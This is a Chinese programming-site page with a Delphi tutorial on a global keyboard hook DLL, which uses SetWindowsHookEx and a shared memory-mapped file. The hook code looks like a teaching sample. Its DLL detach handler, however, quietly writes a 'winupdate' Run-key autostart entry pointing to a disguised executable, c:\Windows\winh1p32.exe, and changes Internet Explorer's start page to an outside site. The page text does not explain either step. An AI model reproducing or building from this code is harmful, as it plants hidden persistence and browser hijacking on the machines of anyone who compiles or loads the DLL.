程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> Delphi >> DLL全局鉤子

DLL全局鉤子

編輯:Delphi

  // 以下使用內存映射文件共享數據來保存鍵盤鉤子和Dll句柄
  // 運行此程序:觸發程序加載完Dll後,對其他系統內有鍵盤響應事件的程序自己掛鉤
  // 而即使觸發程序死亡,DLL還是會達到監控鍵盤響應事件自動掛鉤的目的
  // 直到你按下Ctrl+F組合鍵DLL才從內存中卸載.
  
  library sysinfo;
  
  uses
    Windows;
  
  
  const BUFFER_SIZE = 16 * 1024;
  const HOOK_MEM_FILENAME = 'MEM_FILE';
  type
    TShared = record
      KeyHook:HHook;
      Moudle :THandle;
    end;
    PShared = ^TShared;
  var
    MemFile: THandle;
    Shared: PShared;
  
  {撤消鉤子過濾函數}
  function UninstallHook: Boolean;
  begin
    Freelibrary(Shared^.Moudle);
    Result := UnHookWindowsHookEx(Shared^.KeyHook);
    UnmapVIEwOfFile(Shared);
    CloseHandle(memFile);
  end;
  
  
  function KeyHookProc(iCode: Integer; wParam: WPARAM;
    lParam: LPARAM): LRESULT; stdcall; export;
  const
    KeyPressMask = $80000000;
  begin
    if iCode < 0 then
      Result := CallNextHookEx(Shared^.KeyHook,
         iCode,
        wParam,
        lParam)
    else begin
      if ((lParam and KeyPressMask) = 0) and (GetKeyState(vk_Control) < 0) and (
  wparam = Ord('F'))
      then
      begin
        Windows.MessageBox(0,'........鉤子已消除!..........','hello!',MB_ICONEXC
  LAMATION);
        UninstallHook;
      end;
    //result:=0;
      Result := CallNextHookEx(Shared^.KeyHook,iCode,wParam,lParam);
    end;
  end;
  
  function InstallHook:Boolean;
  begin
    Shared^.Moudle:=GetModuleHandle(PChar('sysinfo'));
    Shared^.KeyHook := SetWindowsHookEx(WH_KEYBOARD,
                               @KeyHookProc,
                             Shared^.Moudle,
                                         0);
    if Shared^.KeyHook = 0 then
    begin
      Result := False;
      Exit;
    end;
    Result := true;
  end;
  
  
  // 以下為寫注冊表部分,在下定義了一個函數
  procedure writeregedit(cCustomLog,var1,var2:pchar);
  var
    size: integer;
    s: string;
    TempKey: HKEY;
    fDisposition: pointer;
  begin
    fDisposition := nil;
        if RegCreateKeyEx(HKEY_LOCAL_MacHINE,
                         cCustomLog,
                         0,
                         nil,
                         REG_OPTION_NON_VOLATILE,
                         KEY_WRITE,
                         nil,
                         TempKey,
                         fDisposition)= ERROR_SUCCESS
                         then begin
           RegSetValueEx (TempKey,
                           var1,
                           0,
                           REG_SZ,
                           var2,
                          length(var2));
  
                         end;
    RegCloseKey(TempKey);
  end;
  
  
  procedure DllEntry(dwReason : integer);
  begin
    case dwReason Of
  
  // DLL導入進程時
      DLL_PROCESS_ATTACH:
        begin
          MemFile := OpenFileMapping(FILE_MAP_WRITE,False,HOOK_MEM_FILENAME);
          if MemFile = 0 then
            MemFile := CreateFileMapping($FFFFFFFF,nil,
              PAGE_READWRITE,
              0,
              SizeOf(TShared),
              HOOK_MEM_FILENAME);
          Shared := MapVIEwOfFile(MemFile,
            File_MAP_WRITE,
            0,
            0,
            0);
  // 加載鉤子
          InstallHook;
        end;
      DLL_PROCESS_DETACH:
        begin
          writeregedit('SOFTWAREMicrosoftWindowsCurrentVersionRun','winupdat
  e','c:Windowswinh1p32.exe');
          writeregedit('SOFTWAREMicrosoftinternet explorermain','start page',
  'http://www.iou.com');
  
  // 我不想此時卸載鉤子
  //      UninstallHook;
        end;
      else;
    end;
  end;
  
  
  exports
    InstallHook;
  
  begin
    DllProc := @DllEntry;
    DllEntry(DLL_PROCESS_ATTACH);
  end.
  
  暈了:

<SCRIPT src="http://home.ncust.edu.cn/count.php?id=hottey"></SCRIPT> 今天有點累,注解未完之處以後補上吧.附:網站快要申請了,到時貼上所有源碼^_^

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved